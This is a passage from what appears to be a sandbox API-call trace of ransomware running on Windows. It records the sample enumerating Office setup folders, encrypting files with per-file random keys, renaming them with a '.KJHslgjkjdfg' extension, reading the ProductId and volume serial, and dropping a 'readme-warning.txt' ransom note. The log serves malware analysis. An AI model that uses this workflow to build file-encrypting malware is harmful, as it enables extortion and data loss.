nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.666] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.666] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.666] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.666] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.666] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.666] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x646, lpOverlapped=0x0) returned 1 [0143.666] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x650, dwBufLen=0x650 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x650) returned 1 [0143.666] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.666] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x650, lpOverlapped=0x0) returned 1 [0143.667] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.667] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.667] SetEndOfFile (hFile=0x13c) returned 1 [0143.669] GetProcessHeap () returned 0x2a0000 [0143.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.669] GetProcessHeap () returned 0x2a0000 [0143.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.kjhslgjkjdfg")) returned 1 [0143.675] CloseHandle (hObject=0x13c) returned 1 [0143.675] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.676] GetProcessHeap () returned 0x2a0000 [0143.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.676] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.676] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.676] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xc, lpOverlapped=0x0) returned 1 [0143.678] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.678] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.678] GetProcessHeap () returned 0x2a0000 [0143.678] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.678] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.678] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.678] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.678] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.678] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.679] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.679] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.679] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.679] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.679] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.679] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.679] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x7c4, lpOverlapped=0x0) returned 1 [0143.679] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x7d0) returned 1 [0143.679] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.679] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x7d0, lpOverlapped=0x0) returned 1 [0143.679] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.679] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.679] SetEndOfFile (hFile=0x13c) returned 1 [0143.681] GetProcessHeap () returned 0x2a0000 [0143.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.681] GetProcessHeap () returned 0x2a0000 [0143.681] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.684] CloseHandle (hObject=0x13c) returned 1 [0143.685] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.685] GetProcessHeap () returned 0x2a0000 [0143.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.685] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.685] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.685] GetProcessHeap () returned 0x2a0000 [0143.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.685] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.685] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.685] GetProcessHeap () returned 0x2a0000 [0143.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.685] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.685] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.685] GetProcessHeap () returned 0x2a0000 [0143.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.685] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.685] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.685] GetProcessHeap () returned 0x2a0000 [0143.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.685] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.685] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.686] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.686] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.686] RegCloseKey (hKey=0x13c) returned 0x0 [0143.686] GetProcessHeap () returned 0x2a0000 [0143.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.686] GetProcessHeap () returned 0x2a0000 [0143.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.686] GetProcessHeap () returned 0x2a0000 [0143.686] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.686] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.686] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.686] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.686] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.686] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.686] GetProcessHeap () returned 0x2a0000 [0143.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.686] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.686] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.686] GetProcessHeap () returned 0x2a0000 [0143.687] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.687] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\readme-warning.txt") returned 112 [0143.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.689] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.690] CloseHandle (hObject=0x13c) returned 1 [0143.690] GetProcessHeap () returned 0x2a0000 [0143.690] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.690] GetProcessHeap () returned 0x2a0000 [0143.690] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.690] GetProcessHeap () returned 0x2a0000 [0143.690] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.690] GetProcessHeap () returned 0x2a0000 [0143.690] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.690] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.690] GetProcessHeap () returned 0x2a0000 [0143.690] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.690] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0143.690] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0143.690] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0143.691] GetProcessHeap () returned 0x2a0000 [0143.691] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xcc) returned 0x2ed148 [0143.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.691] GetProcessHeap () returned 0x2a0000 [0143.692] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.692] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0143.692] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0143.692] GetProcessHeap () returned 0x2a0000 [0143.692] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2ce) returned 0x2f7730 [0143.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.692] GetProcessHeap () returned 0x2a0000 [0143.692] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.692] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.692] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.692] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xe, lpOverlapped=0x0) returned 1 [0143.694] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.694] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.694] GetProcessHeap () returned 0x2a0000 [0143.695] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.695] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.695] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.695] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.695] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.695] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.695] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.695] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.695] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.695] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.695] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.695] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.695] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0xc72, lpOverlapped=0x0) returned 1 [0143.695] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xc80, dwBufLen=0xc80 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xc80) returned 1 [0143.695] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.695] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0xc80, lpOverlapped=0x0) returned 1 [0143.696] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.696] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.696] SetEndOfFile (hFile=0x13c) returned 1 [0143.698] GetProcessHeap () returned 